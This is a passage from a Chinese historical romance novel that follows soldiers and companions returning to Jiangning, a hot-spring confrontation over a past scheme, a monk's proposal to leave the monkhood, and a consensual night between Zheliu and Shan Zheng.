两人各自收了几分力，只拼招式，竟斗了数十回合，不分胜负。瞧得那陶岳也不喊了，紧抓着身边一人的衣袖不放，嘴张得老大，仿佛下个呼吸就要断气一般。 也不知缠斗了多久，恰逢单铮从此经过，被吸引住，也旁观了些时候，见二人实在不分伯仲，叫一声好，激昂起来，左右四顾，竟也提溜了一支竹节，劈入那混沌一团，喝道：“我也来！” 他使的又是枪法，精妙处震天动地。便一样竹节、三种刀兵，三人互争输赢，犄角相持，一时间如天地之初的三团鸿蒙紫气，相触相离，各自峥嵘。 众人才及喘气，便呼跃叫好，声浪一阵盖过一阵，又不断有人围拢过来，争相瞧看，直把个空场围得水泄不通。 三人直从东斗到西、从西斗到东，照这架势，难分胜负，也不知要斗到什么时候。那小瘦猴儿陶岳瞧得心痒痒，自认武艺不亏，竟不知何时也偷了根竹竿儿，冲入仗中，喝一声喊：“大丈夫厮杀，怎能无我！” 身旁随从拉他不住，眼睁睁瞧着他硬挤入阵仗里，恰似了一条泥鳅在虎豹里乱挤，这里戳戳、那里劈劈，全打乱了三人阵脚。 单铮宗契二人只怕棍棒伤他，齐齐撤手，哈哈大笑；陶慨被他搅了高涨的斗性，一发火起来，一根竹节在手，噼噼啪啪专往他屁股蛋子上抽，一边抽一边骂：“你个搅屎棍子，毛还没长齐，妄想挑你叔伯！” 陶岳给抽得吱哇乱叫，只被他爹拧着胳膊，逃也逃不掉，嘴上硬气：“我是搅屎棍子，你是屎吗！” 一顿狠揍，陶岳捂着屁股，怒气冲冲退到一边，手里还不忘攥着根竹节，咕咕哝哝骂他老子。 单铮笑道：“你家小子烈性，光这份胆气就少有。且我观他根骨不错，那几下刀法，有模有样，是个好苗子。” “内子早逝，他自小没了人管，野得很。”陶慨头疼得要死，一面挥众人散了，一面正色向单铮道，“承将军青眼，看得起他，我实则早有此意，只是不大好意思提。不若就教他做您一个义子，任打任骂，从您约束，如何？” 单铮很是意外，又瞧瞧陶岳，招手唤他过来。 陶岳梗着脖子，即立在他跟前了，也还硬气得很，一双微凸的大眸子直坦坦盯着单铮，毫不胆怯，又忍了屁股上的疼，不说话。 单铮喜他这份初生牛犊的咋呼气，兼自己即将而立的岁数，膝下还没个儿女，越瞧越是喜欢，便一口应下。 陶慨大喜，当下压着儿子磕头拜叫义父。单铮扶他起来，道：“只是我没带礼，下回给你补一个。” “我不要礼，你既做了我义父，可能传我方才那枪法？”陶岳直眉楞眼问。 头上又被敲了一记，是他亲爹陶慨，恨铁不成钢地瞪着他：那是人家家传的枪法，怎好头回相认就教你？ 陶慨又有话说，早已是心内想过百八十回的了，一咬牙，道：“他既做了将军义子，您回江宁，便把他带上吧！” 单铮才说一声“好”，一旁瞧了半天的应怜却早已领会了真意。 她叫来宗契，耳语了几句。 宗契揉了揉耳朵，觉着有些痒，却又被她那话勾起了心神，恍然大悟。 “令郎原是独子，若咱们此行带走，他从此便不能承欢膝下，岂不失了人子之道？”他向陶慨说话，却望了望单铮，“这倒是好，咱们留了些人手在沂州相帮，陶将军却将令郎换与了咱们。” 单铮这才恍然，心道这陶慨也是实诚，为表明忠心，竟拐着弯肯舍自家儿子来做质。 他叹了口气， 又失笑，“这义子我收了，只是人我不能带走。他还小呢，总要在家中再长两年，等以后大了，有的是出门游历的机会，到时再来会我这义父。你我之间，是恩义相交，我对你再没什么不放心的。” 他话说到此，陶慨心潮纷沓，竟一时说不出话来，料想自己小人之心，平白折辱了他坦荡的英雄君子。 至此，八分归附，又涨了两分，恨不能早与之合兵，拱手天下。 他这正动容着，他儿子陶岳不乐意了。 “义父，我不去江宁，怎么学您枪法？”陶岳心急，又扯了宗契袖子，“大和尚，还有你的棍法，我必也能青出于蓝！” 惹得几人大笑，陶慨只叹丢人现眼。 从此彼此之间更加亲厚，虽不是手足，却胜如手足，在临近冬至的一日日里，更是相敬相爱无间。 冬至日，将军府里好好热闹了一回，宁德军一行人便整装备齐，待回江宁。 陶慨留之再三，终留不住，待到十一月廿六这日，亲送出城外五十里，与单铮惜别而返。 一行人秋时来、冬时归；去时忐忑，归时却已人人喜悦振奋，只待回了江宁，论功行赏，又是一番新光景。 队伍行径处犹如一条长龙，龙首是再三去沂州的数十宁德军中人；后头跟着护送的五百沂州强兵，又有二百余众零散穿插队列之中，都是六皇子郭显的心腹家人，此回跟着那七千官兵来攻沂州，余兵被遣返，这二百人却跟着郭显，同被押往江宁。 自然，郭显充作俘虏，也在此行之中。 他的来历总归有些蹊跷，因此昼夜被严密监视，不得与心腹见一见面，更遑论传递个消息。好在此人安分守己，倒也不难伺候。 一路行至中途，相安无事。 应怜仍旧坐马车，与折柳、秾李一处，高大的车身不算平稳，却比每日骑马要好得多。几人枯坐无聊，便说些女儿家的琐事，有时谈到吴官人，有时谈到宗契。 折柳问：“这些时日，我观你与高僧，仿佛有些亲密，你倒是说说，你们到底有无心意？” 应怜被问得脸红，只是垂着眉眼不说话。 二人瞧她如此，便心知肚明了，俱都笑了起来。 “你们笑什么？”她有些羞恼，微嗔道，“我与他本没什么，你们莫要坏了他名声。” “七情六欲，乃人之常理。你们之间是共患过难的，由恩生情，并不稀奇。”秾李已改换了女子装扮，抿嘴轻笑，“且你与他发乎情、止乎礼，谁也不会看轻了你们去，你羞什么呢？” 折柳道：“不过外人看来，定要道这和尚不守清规。他总得先还俗，你们才能谈嫁娶之……” “莫要再说了！”应怜捂住了她的嘴，直从头顶红到了脚跟，“这事八字还没一撇，往后再论！” 打打闹闹。秾李靠在一边，笑着从横座下暗格里取零嘴吃，摸了半天，只摸着半包干果子。她“咦”了一声，“你们谁吃了我那狮子糖？冬至前刚做的，我还留了一小包呢。” 几人面面相觑，谁也不晓得。 又过了几日，偶尔闲暇时，又有人道：“真是怪了，昨夜里我值守，仿佛见地气上涌，成了一团黑雾，倏一下滚过去就没影儿了。今日早起，我才吃了一半的冷鹌鹑却没了。” “难道是城隍老爷显灵，给吃了？”有人道。 “城隍老爷自有供祭，谁吃那半只鹌鹑？”那人气道，“大冷天的，冷油冷肉，也不怕闹肚子！” 果然，当日晌午，稀稀拉拉便有些臭味隐约传来。只因在单铮等人的队阵里，众人寻不见源头，以为是那拉车的马窜稀，查了查又不是。 应怜几人本在车中安坐，也耐不住臭，纷纷掩鼻出了来。 二三十人，没头苍蝇似的乱找，相互抱怨着谁家裤兜里泡了黄泥，忽听这时，又有几声震天清脆的噗噗声传来。 “我就说是这马！它放屁呢！”一人道。 宗契寻过去，绕了马车一圈，一皱眉，却蹲下身，忽瞧向那车腹底下，惊得“嚯”了一声：“你……小山？” 车底下窜出个瘦猴儿，先不求告，捂着肚子钻进枯草堆里，叫道：“我憋不住了！草纸、草纸！” ——一刻钟后。 陶岳臊眉耷眼地挨在单铮跟前，听他训斥。 “咱们行了七八日，你便在车底攀了七八日？不说一路山高水险，万一磕着碰着，我怎么向你爹交待！”单铮见他可怜兮兮，满头满脸的灰尘，又是心疼又是怒。 只是再恼，也不好就送回去，他们行出来这些日，重重山水，路上并不太平。单铮只好留下他，又教人送信往沂州，宽陶慨心意。 就这样，陶岳成功地留在了宁德军，得以接着向单铮讨学他家的枪法。 一路不急不缓，入了腊月，眼见着年关在前，应怜一行，终于回了江宁。 当时喜庆欢闹自不必提，江宁与沂州号为一家，声势愈发壮大，又递了书呈向洛京，备言六皇子事，书中口口声声，称其为“质子”，道宁德军只为自保，并无凶恶之意，愿求两邦交好。 书送向洛京，实实在在地扬眉吐气了一把。等回信的时日里，各处便备办起了过年的热闹事。 应怜的日子照常过，年前正遇着李定娘来请，说晓得上元县的汤山有个延祥寺，内里有一孔最为盛名的温泉，数九寒冬也蒸腾温暖，邀她去游一游。 上元距府城不过五六十里，一日便可来回。应怜听得心动，当下便应了，带上春莺茜草，又一个新来的鸾儿，一道随赴那温泉池。 李定娘早遣人先去安置，清了寺中一片场院，不教外人闯入，又围了步障；带上数十从人，妥妥帖帖携着应怜而去。 她那些随人中，又有一个常伴左右的，却不是女使，而是个深目高鼻的少年。应怜曾见过，依稀记得是叫袁武，不禁目望之，见其肤微蜜合、五官深邃，有俊美姿容；又几次偶然撞见定娘与他谈话举止很是随意，仿佛亲密熟稔多年，虽心中微有异样，却不好干涉她事，也就闭嘴不提了。 她们上午出发，晌午便到了延祥寺，入内厢房，此时摒退了从人，只姐妹两个换了衣裳，径奔温泉池而去。 如今深冬时节，应怜一向怕冷，穿了厚厚的衣袄，却还未靠近池边，却已蒸出了汗意，又见温泉溪水通幽之处，草木并不凋萎，反欣欣向荣，绿映红偎，不禁大喜。 她们入到步障内，褪了衣衫，滑入泉池。应怜卸了一身疲乏辛苦，浑身舒泰，赞叹地咕哝一声，拨水游在李定娘身边，美滋滋地问：“你怎么找着这好地方，我来了便不想走，不若咱们住个三五日？” 李定娘趴在池边，头枕着手臂，歪着脑袋笑望着她，“行啊。” 她懒懒的，放了长发，便如泼翻的墨渍，沉浮飘散在水面，又贴合在浑圆的肩头，美不胜收。 应怜便将沂州城内之事，捡热闹的与她有一搭没一搭地聊，人泡得舒服了，就打起盹来。 李定娘提醒她：“要睡回房睡，别搁这儿呛了水。” 应怜打了哈欠，迷迷糊糊上岸，胡乱套了几件衣裳，“那我去睡会，睡醒了再来泡，你走不走？” “我再泡会。”李定娘道。 应怜便答应一声，自去了。 她走后，步障内静悄悄的。李定娘也没教人来侍奉，也没动一动，仍那样趴着，任长发飘荡背后，半阖着眼，也不知是憩是想心事。 又不知是谁，匆匆闯了进来，踩伏一地的花草，携了外头一身寒风与冷怒，推了拦阻的女使，箭一般扎入温泉池畔。 那人影修长高大，来势汹汹，却在步障外硬生生顿住。 迷蒙水雾隔着一人高的步障彩幔，悠悠袅袅漂浮旋上，模糊了人眼，将内中人依稀的身影不甚真切地烙印在步障上，像极了一场玄天幻境的魂梦。 “应怜！”来人唤，声音急怒。 一时寂静。 李定娘睁开眼，也有些困顿，发上、额上尽是湿意，懒懒地回了声：“她不在。” 后头凌乱有些脚步传来，有女使急道：“娘子，鬼面将军他非要闯入，咱们拦他不住！” “无妨，他来说说话而已。”李定娘道，“惜奴睡了么？” “睡了，睡得正香呢。”女使答。 李定娘便令她们自去，守着应怜。女使这才告罪退下，只留了二人。隔着步障，里外交谈，只是一个来者不善、一个懒散冷淡。 鬼面将军道：“李定娘，你究竟耍什么花招？” 她奇道：“我不过来泡温泉，有什么花招？反是将军，马不停蹄追来上元，如此唐突为何？” 那头一时没了话，再开口时稍松动了一些，却仍是如冰锥伤人，“你心知肚明。上回事便作罢，若再使什么鬼蜮伎俩，打她的主意，你可问问我手里的剑！” “这话说得蹊跷。我姐妹好好儿的，我害她作甚？”李定娘听笑了，声儿里也如洇了水雾，润润的清啭，“再者说，你又是什么身份，是她什么人？巴巴地来与我分说厉害？” 外头又再不说话了。 李定娘便愈发进一步，斯条慢理地直起身，上到石阶，那花朵样纷散的墨发便一点点伏在她玲珑的身遭。她一边走，一边道：“……还是说，你曾因传书递简一事，见了她一面，从此对她上了心，一直念念不忘这些年？也是，她那时虽年幼，却也生得玉雪可爱，你瞧了上心，也不为过。” “李定娘！”鬼面人口气生硬起来，生了微怒，“自重！” “自重？” 步障轻摇，将那又柔又冷的话飘荡下来，随着云烟一道，贯入他耳： “天下间谁人都能要我自重，唯独你不能。” 彩绸幔子如水波，粼光一闪，竟被打开，李定娘白玉朦胧的身子现在眼前，墨发披散，其间起伏玲珑， 冶艳至极。嘲弄神色随脸庞淌下的水一并逝去，唯余清艳，唯余沉默。 鬼面人如被烫着，一震而扭回身，硬梆梆的话里有了无措，“你、你穿上衣裳！你怎么……” “不自重？”李定娘接他的话，微翘着嘴角，温泉水从沟壑间流淌，直在一双赤足周遭积出一片水渍，“你怎不记得从春园中，你迫我就范，我那时自重了，却遭你一再凌辱？怎么，如今你改了性儿，反倒嫌我不自重起来？” 对方无话可说，背着身，半晌恶声恶气，掩饰内心局促，“你敢说那日的药，不是你下的？枉她敬你爱你，你却如此害她！” “你说这事，我倒想问你一问。”李定娘好整以暇，“以你好色之卑劣，我将她那样送到你榻上，你却不受，反震怒，真是稀奇。以你与她之生疏，却脱口称她小字，真是少有。” 鬼面人彻底失了语，浑身僵得像铁石。 李定娘在身后，如勾人的鬼魅，“你怕什么？不是与我有过春风一度么？怎么却连瞧我一眼也不敢？” 她便如此激，鬼面人也再不回头，可脚步也像生根一样，心内想着走，却走不动半分。 她在背后，终未等到他回头。 “你怎么不敢回头，瞧我一瞧？”不知多久，她再开口，话中有了哽意，有了厌恶，“你不敢瞧我，你这个懦夫。应栖，你这个懦夫，你顶着那人的名头，却连瞧也不敢瞧我。” 水雾弥漫，她眼内模糊，几乎看不清他冷硬的身躯。他彷如一尊亘古便有的沉默的石人，早已僵立，无言无声。 “应栖。”许久，她叫他。 鬼面人一动，想回头，到一半却止住。从李定娘的角度，只能瞧见他双肩略动了动，似乎肩负什么沉重的担子，压得往下塌了塌。 “别算计她，她是你妹妹。” 他最后只粗哑地丢下一句话，头也不回地离去，更像是落荒败走。 温泉的池水永不会变凉。但李定娘的心一点点冷了下去。 她缓缓重回池中，整个缩在池水里，汲取四面八方传来的暖意。她如一个在冰天雪地里走了很久的人，快要冻馁而死，一旦抓住这片温暖，便将自己一再向下沉，直到水没过头顶，宁愿溺毙在暖意之中。 又不知多久，猛地一双手臂，执拗地扯着她，将她从温泉中刷拉拽起。 她睁着湿漉漉刺痛的眼睛，仰首去瞧，瞧见了那一双雾气中格外深邃的、少年的双眸。 他一个字一个字清晰地咬牙切齿：“你想死吗？” 李定娘久久地凝望他，就在他袁武怀疑她是不是被浸傻了之时，忽的笑了起来，霎如百花春绽，一枝摇颤在东风里。 “死不掉的，我命大着呢。”她拉着他坐下，抱着他的劲韧的腰，把头埋在他腰身里，与温泉截然不同的他的暖意，便密密幽幽地在衣料下浮了上来。 袁武愣愣地伸手抚摸她湿润的头发，感受衣下传来的潮意，不确定地想：那是她的泪么？ ……不，或许是水渍。她从不哭的。 应怜对温泉池畔的事一无所知，与李定娘一道，果真在延祥寺玩耍了好几日，这才恋恋不舍地回了江宁。 她舀了一瓢温泉池的水盛入瓶，带回给了宗契，“你整日里忙着，大事小事一堆。改日得了空，咱们一道去汤山游一游，你也泡一泡那温泉，百病全消！” 宗契自是无有不依，笑着应了，见她兴高采烈，心内一动，差点将日夜所思之事脱口而出，硬生生忍了，想着待她休整个几日，寻个私下的好时机，再说不迟。 他这两日，便有些踟蹰的心思。 应怜却全然不晓，延祥寺归来，仍领着蒙学的差事，不过又添了个皮猴儿似的陶岳，闹闹腾腾，多了不少生气。 这一日休沐，应怜携萍儿在家度日。晌午晴光方好，午睡未免虚度，萍儿又闹着玩捉迷藏，便同着几个女使一道，宅院里各处玩闹起来。 正轮着应怜一回，待人藏定了，便挨门挨户地翻找。 才摸进一间耳房的门，便听前头有动静，前头小厮穿廊里叫了一声：“娘子，高僧来了！” 宅院不大，前后离得并不远。宗契又是常来的主，前头并不拦阻，径让他入了后院，远远便见了应怜立在廊下门口。 应怜便招呼一声，笑盈盈的，“你怎来了？” 平日里女使们要么在廊下迎候，要么在院儿里游戏，这会子却除了她，不见别个人影。宗契只以为休沐日，应怜放了她们一日的假，也没往别处想，应了声，来在她面前。 “有事。”他道。 他今日有些怪。 应怜纳闷地瞧他，分明寒冬腊月，哪怕天有些薄暖，他也不该面色发红，额上竟还隐隐有些汗意，便问：“什么要紧事？你竟一路跑来的么？” 闲庭静院，她倚在廊下窗边，袖里取出帕子来，递与他擦汗。 宗契接了，却不动，仿佛思想了多少时日，待真要说时，脸却更红了一层，只是与她相视，有些紧张，又有微微的笑。 似又不是急事。应怜便更奇怪了。 她拉着宗契在栏杆边坐下，先问了问军中大小事，又问了一嘴六皇子郭显，宗契皆道安好。 “究竟是什么样事？”她实在忍不住。 宗契思量再三，终于缓缓舒了口气，尽量平稳声音，缓慢却并不犹疑，道：“我想，待宁德军事了，我便回一趟五台山，告禀师父，请……还了俗，可好？” 他话音落了，只不见应怜答话。 应怜傻了。 她先是瞧着他，张了张嘴，暖玉似的面颊一层一层染上红晕，欲说却又说不出；目中见他眉宇，萦着一段彻彻底底的温柔。记忆中他喜怒嗔痴诸般形容历历在眼前，蓦地恍然忆起初见，天光微亮的巷口，他高大深幽的影子，投下来暗而冷硬的神色。那时她怕他、畏他，怎能想到今日，他终开口相留，问她索一段更深的爱和缘。 若说上一回在沂州，与他不过朦胧的情意初显，这一回他却将那一层薄雾揭开，直白而清晰地剖露心迹，捧出一颗滚烫真挚的心来给她瞧。 应怜的心也越来越烫，脸也越来越红，愣在他眼前，一动不动，半晌方慌乱地想起答他，又不知该说哪一句，是答一句“好”呢，还是答“随你”？ 前一句似乎太不矜持，后一句又嫌过于冷淡。正手足无措间，忽窗内传来个稚嫩的声音： “姨姨，什么是‘请还了俗’？” 说话的二人皆是一震，扭过头去，却见那窗支开一条小小的缝隙，隙里皂白分明地几双眼睛齐齐盯着，大的是春莺茜草，小的是萍儿。 萍儿唤“姨姨”，春莺便道：“还俗就是不做和尚了。” “不做和尚，做什么呢？” “做咱们娘子的夫婿！”茜草抢道。 跟着那窗儿一抖，说话的是春莺，却是向他们：“咱们捉迷藏呢，你们自便、自便！” 窗儿哐当一下关严实了。 应怜腾地起身，早已脸红得几乎要滴血，心跳又急又快，脑中一片空白，什么也想不了，只见他一双含笑望来的眸子，脱口嚷出一句：“你还便还，和我说甚，我有什么好不好的！我……我走了！” 她再不等宗契说第二句，羞得没脸见人，抹头便跑走了。 人虽走，香却余韵仍留，宗契陷在这一段暖香之中，浅淡的日光镀在周身，烘出一茬又一茬的热意，简直不像腊月天气，却仿佛四月的芳菲春日。 耳边传来窗内的窃笑，他却已顾不及，只向她去处而去，衣上隐约浅香，与她相类，久久交叠，萦缠散去。 一切改变皆在不知不觉间。 愈近岁暮，下了一场冬雪。江宁内外，除开必要的施粥赈济，忙活完了，有些爱雪的，便约着三两一群，寻个佳处赏雪。 折柳也收了一张这样的帖子，但她一点儿也不想去。 送贴的人是赵芳庭。 此前，他还送了一张贴儿，道是邀她游湖，被折柳以“寒湖太冷”为由拒了，没过 几日，他却又来邀赏雪。 这实在不是什么好兆头。 折柳心绪烦乱，将那日沂州闹乱的事翻来覆去，回想了千八百遍，愈发地察觉到细微处，直将自己吓出一声冷汗。 这事，她只敢告诉秾李。 “那一回他口中说着往东，实指的却是西边。不然如此，我也不会误闯进西园大湖之中。”她心有余悸，道，“那处前后围堵，若不是单将军救得及时，我早已尸骨都烂了！” 那一封请帖，被拈在秾李手中把玩。她翻看了几遍，终阖上，“你疑心他要害你？可是为何？” 折柳道不晓得，支支吾吾。 秾李叹口气，“对我，你还有甚不好说的？你叫我来，不就是参详这事么？” “我……唉，我也说不准。”折柳面色薄红，不知想到了什么，又白了下去，“但直觉同单将军有关。他……哎呀，我哪里晓得他这种正经人的心思！” 秾李笑了起来，很快归之淡然，尖而漂亮的指尖于请帖上轻点，数下方止，心思转明，却瞧向折柳发鬓，把她瞧得怪不自在的。 “你瞧什么呢？”折柳问。 “姐姐髻上这支金丝楼阁钗真好看，以前从未见过？”秾李道。 折柳不由摸了摸那支钗，露出一点笑，含糊应了。 秾李又道：“送我如何？我拿我红宝翡翠的那支与你换。” 折柳一口回绝：“不换，你别瞧旁人的就眼红。” 这回轮着秾李笑了，仿佛洞悉了一切，不提簪钗，却又转到别的话头，“我瞧这些日你与单将军很是亲善？” 折柳在她澄明的眸光下，莫名便心虚，话又含糊起来，“他待咱们一向亲善。” “哦？”秾李挑挑眉，“姐姐这也不是、那也没有，教我可怎么给你参详？难道他脚上那一双鞋，不是你亲做的么？” 折柳哑口无言，半晌只得扭捏认了。 秾李见了，便晓明了七八分，心中有叹，口中却道：“你与他走得近，赵芳庭自然不乐意。他这可不是醋，而是觉着你污了他哥哥的颜面。姐姐，你如履薄冰呢。” 一番话，说的折柳沉默下去，一时心乱，再找不着言语描补。 “我往后小心些就是，省得着了姓赵的道儿。”良久，她方道。 秾李蹙着细细的远山黛眉，面庞比折柳更年轻，心思却比她深，关起门来说话，但言无所顾忌。 “你日防夜防，又能防得几时？不若想个一劳永逸的法子。”秾李深深望着她，一会儿，道，“大树底下好乘凉。你何不索性嫁了单将军？我瞧他对你也并非无意。” 折柳倒吸一口气，忙摆手，“哪里使得！他是什么样光风霁月的人，我这样的，如何嫁得他？” 秾李微微笑了，一双眼眸如春江夜月，璨璨粼粼，“姐姐有的是对付男人的手段，还怕嫁不了一个君子？” “不成，我不能害他……”折柳犹豫了一刹，仍是拒绝。 秾李便将那张请帖递过去，“那就去赏雪吧，说不得这赵大官人，当真是找你续旧情分的呢。” 折柳紧捏着请帖，面色数变，半晌慢慢灰败了下去。 她仍是拒了赵芳庭赏雪的邀请。 原以为再三地拒请，这姓赵的总该晓得些本分，不意想他却径直登门拜访了。 折柳没防备，在家中被堵了个正着，只得没好气地请他进来。 她住的是府署里一间院子，赵芳庭却大摇大摆地入内，仿佛踏的是他自家的地，这里瞧瞧、那里瞅瞅，直把折柳忍得不耐烦，脱口问：“赵芳庭，你究竟存的什么心思？” “什么心思？与你交好的心思呀！”赵芳庭毫不避人，大喇喇往她堂上一坐，唤琥珀沏上茶来，笑望着她，“窈窕淑女，君子好逑。我未娶，你未嫁，我如何就不能有个想头？” 折柳被他惊吓得出了一层白毛汗，瞧他亲善面孔，无端却想起了那夜他执刀杀人，血溅了一身，那一眼向她时，分明有深沉的杀意，亏得是有相识的人在侧，他才手起未刀落。 ——可却给她指了一条向死的路。 他再暧昧，她哪敢把他的话当真，心神已大乱，满心想的是：若是嫁过去，她能活上三天不能？ 折柳不敢再盯着他，怕他把自己心底恐惧瞧个正着，只得别过头，作了一副吃惊稀罕的模样，说了几句言不由衷的别扭话：“你怎么这样突然……唉，我从未想过……只是以前咱们相好，是青玉阁的买卖，如今你再想那样，却也不能了。” 赵芳庭爽快地笑，“不敢唐突了姐姐。我欲求的，是百年之好，非止几宵情缘而已，自当三媒六聘，将你过入我家门来。” 折柳侧身背着他，手一掐自己的掌心，逼自己挤出点泪意来，嗔道：“你明知我是卑贱之人，却还说这样的话来哄我，我哪里不晓得，你分明厌恶我，又怎会明媒正娶？” “冤枉！分明是姐姐恶我，觉着我轻薄，连着两次推了我的邀约。难道真如我所料，你对我哥哥有那点想头？”赵芳庭噙了三四分醋意。 他说话不知真假，折柳怔怔呆立，不瞧他，却想着自个儿怎样才能活命。 求娶？ 她终于懂了，他哪里是求娶，分明是想伤敌一千，情愿自损八百，舍了自己的脸面，娶她这一风月场里出来的人。如此一来，单铮再意动，也不会同兄弟争亲。 落在他手里，她还有个好么？ 折柳越想越胆寒，只是到底场面上过惯，打肿脸充胖子，面上不显，口中偏道：“好，你若当真有求娶之意，一个月内，便下聘书来，花红彩礼不可敷衍，金银绸缎、珠玉牙翡样样要顶尖的；我要做你的正头娘子，媒妁为证、契书为凭，哪怕经年无所出，你也不得凭此休弃。你可能做到？” 赵芳庭静静听她说完，才笑了一声，“姐姐好高的心气。” “不愿就请回吧。” “谁说我不愿？我甘之如饴。”他却道，“只是一月之期，花红彩礼可齐备，聘书我却等不急。可否先行小定，咱们过个草帖子，也好教我兄弟们先喝一杯彩头酒。” 折柳点头，“成，那你三日后写个贴儿来，我备双回鱼筷你拿去，咱们且先定下来。” 赵芳庭乐呵呵应了。 他辞去后，折柳枯坐难堪，索性早早回了内室，脱了鞋，合衣窝进了床里间，拿被褥蒙住了头。 她躲在被中，一阵一阵地发冷，闭着眼想自己的活路。 她若最终要死，从前卑微地挣扎求活又算什么呢？若早知走上绝路，她怎么还敢瞻前顾后，想要洗心革面，做个清白的好人？ 赵芳庭，赵芳庭，她倒了几辈子的霉，才招惹上这祸星。 她蒙住头脸，脑海里闷闷的，许久了，心中终于浮上一个人来。 这人，她原想着有情有义，她万万沾不得，不敢污了他。 只是她都要死了，还要那假清高做什么。说到底她就是伯仁，他不害他，她却要因他而死。 那么，就容她姑且再卑劣一次，拉了他下水罢了。 单铮每日里除了处 理公务、与部下议事，便泡在城外军营，巡查各个营帐，清早过去，至晚方归。 同许多吃喝玩乐的州邑之长相比，他可谓是十分勤勉，且御下宽和，轻易不折腾人，因此也很得府署上下人等的忠心。 这日一如往常，他城外归来，交了马与马夫刷洗料理，喝一杯随从奉来的热茶；小厅里用饭时并不用人侍奉，饭后就着已温凉的残茶漱了几口，便待在书房，看些吴览荐给他的兵法史书，即便不喜文字，也忍耐着细细看过几章，并随手写下一二行心得。 此时已是亥时，便是盛夏，也早入了夜；如今寒冬腊月，外头更是黑得浓墨似的化不开。厨房送了沙苑特产的榅桲来，合蜜腌渍得金黄滴酥。他尝一口，虽觉有些太甜，也并不说什么，只是照常道谢留下了，就此教厨下早些歇息。 直到了亥时中，漏刻渐长，他伸了伸腰腿，出了熏暖融融的书房，回到卧房内室，那里并无炭火，地龙却早已烧得暖如春。宵。单铮皱了皱眉，话已向从人说过不止一二回，“无需这样暖热，太靡费了。” “实是昨日的炭还未烧完，份例便余到了今日，因此热一些。”从人道。 “那便扣了，交还公中。”单铮道，又补了一句，“下不为例。” 从人唯唯应了，晓得他卧眠不喜旁人在侧，便只点了灯烛，侍奉漱洗了，悉皆退下，自个儿也睡去了。 单铮褪衣卧于轻暖衾褥，回想一日来的大小琐事，脑中飞快梳理，查无遗漏，这才阖眼准备睡下。 却只在此时，意外地闻听外头有人扣门。 这却又不是手底下人，他们有事只会在外头禀明，不紧要的便拖到明日，决不会不急不缓地这么敲。 “谁？”他便问。 “是我。”一个低柔婉转的声儿盈盈传来。 单铮登时三分睡意全消，一跃身从床上下来，匆匆披了外袍，灯烛也未点，拉开门，果见外头夜月，雪映空廊，几分空空幽幽的冷蓝；槛外孤孤地立着个人，从上至下，一袭胭色披风笼得结结实实，极艳的颜色，却也遮不住她脸容更比海棠垂露，艳极始清，微微一凝眸，便是十分的风致情态。 单铮愣了一刹，“折柳娘子，你……有事？” “有事。”她轻声道，呵出的气在眼前凝成了丝丝白雾。 深更半夜，单铮有些踟蹰。折柳却冷，轻微得打了个哆嗦，“能进去说么？” 她眼睫上沾了点点细碎的雾珠，既惹人怜也惹人爱。单铮见她仿佛实在寒冷，便侧了侧身，让她入内。 第100章 第100章已入相思彀，却笑相思…… 她迈进屋，却先他一步，关上了门。 “这……”单铮想说深更半夜，内室相对不合礼数，却顿了顿，不知为何，最终没说出口。 仿佛心里已隐隐明白些缘由，他不愿更想。 折柳也没教他多想，只在他身侧，极轻地道：“我来还将军活命之恩。” 她说出的话里尚带了岁暮寒凉，手却已搭来，一段玉梅寒香的手指，却已柔软地搭上了他的腕子，将他牵向内室。 单铮一震，刹那想甩脱。她却紧攥，一眼瞥来，幽幽的是月下轻波，“怎么，不敢？” 他心头便蓦地窜起一团火，连自己也为之一惊，那火气一生，便难抑制，愈发在她的眼神下高涨起来。 他以为这是怒，教自己失了常态，“你已衣食无忧，何必再作践自己！” “衣食无忧，便不可以念你、爱你？”折柳却反道，“你今日若放手，咱们以后可再没缘分啦。” 单铮将离的动作便又是一顿。 他对她有念想，这他自己清楚。不过人非畜生，有念想又如何，总不至爱什么就必要弄上手。 他们本是两条道儿上的人，若就这么走下去，一辈子也没个交叉；可她偏来会他，走他的道儿。 那股火渐渐变了个味，烧在他绷得紧紧的脑中那根弦上，烧得一干二净。 折柳腕上一紧，却是单铮停住，反攥住了她，目光灼灼，那是她再熟悉不过的、男人在爱。欲前所剩不多的理智。他却又多了三分认真，“你要跟我？不反悔？” 折柳笑了，眸光轻动，掀起春色潋滟。 她轻解披风，幽暗中显出一段玉莹莹的白，在这暖热如春的内室里，一点一颤，真如盛放荼蘼，就这么显露风姿，曲毫毕现在他面前。 单铮呼吸猛地急促，眼中多了些深沉而凶狠的意味，攫定她，全失了大段的言语，只喑哑地挤出一个字：“……好。” 他一把她打横抱起，因常年习武而粗粝的手掌硌在她肋下腿弯，那里如最好的绸缎丝滑，却生出一袭温温的幽香。 折柳陡然天地横转，只来得及哼一声，便颠荡着被扔到了床上。 一个滚烫的身子伏来，单铮粗哑而笃定的声音从头顶掷下：“跟了我，便不许再有别人。” 折柳觉得他太啰嗦，舒展了身子，毫不羞怯，耸上他掌心，伸出一双玉臂，将他勾进缠绵不尽的温柔乡，“愿与君今生永为好。” 愿与君今宵一夕欢，愿与君今生永为好。 云雨高唐，梦里神女留香枕，引人间至乐。单铮受用，翌日醒转，见朦胧天光之中，在他怀中沉沉而睡的美人，秀面微有憔悴，颈项雪脯，落尽梅痕，方悟昨霄狂浪失态，脸面红了又红，却胸臆里填满了一股酣畅温柔。 折柳被他闹了大半宿，好容易睡了个囫囵觉，天色蒙蒙，半醒不醒的，又觉那躯体滚热，一个又一个绵长的吻在她眉眼唇上，无穷无尽似的。 见她微醒了，单铮注目凝视了一会，心里高兴，却又有些愧疚，低低地开口：“我愿与你结两姓之好，却不能立时就相娶。我答应你，待宁德军功成，我必敲锣打鼓地娶你做妇，可好？” 折柳睁开慵困的眼，听了这话，也不应好或不好，只是随口问：“若不成呢？” 枕边人一时未作答。她正不理会时，却听他再温和不过话语： “若不成，我早早为你备些金银，你自去了便是。” 她一怔，忽解了这意。 “呸！呸呸呸！大清早的，你怎么说这样晦气话！”折柳一怒之下全醒了，腾地坐起身，也不羞臊，就这么半遮着被褥，长发丝丝缕缕垂散丰谷之间，身段妖娆，眼里却有火，“你便不敲锣打鼓，我如今也是你妇人，是你三族，还怕牵累怎么着？你……你这就去摆一桌酒，把亲近的几个兄弟都唤来，将我过了明面，我改口叫他们叔叔！” 单铮仰躺，定定望着她发火时生气勃勃的脸红模样，面上含着笑，候她说完歇罢了，伸手一拉，一个翻身，将她覆在身下。 “我本已习惯……如今你来了，真好。”他伏身在她耳边亲吻，见她柔顺并不不允，再次炽涨起来，蓬发的身躯肌肉紧绷，将她牢牢锢住。 不知多久。 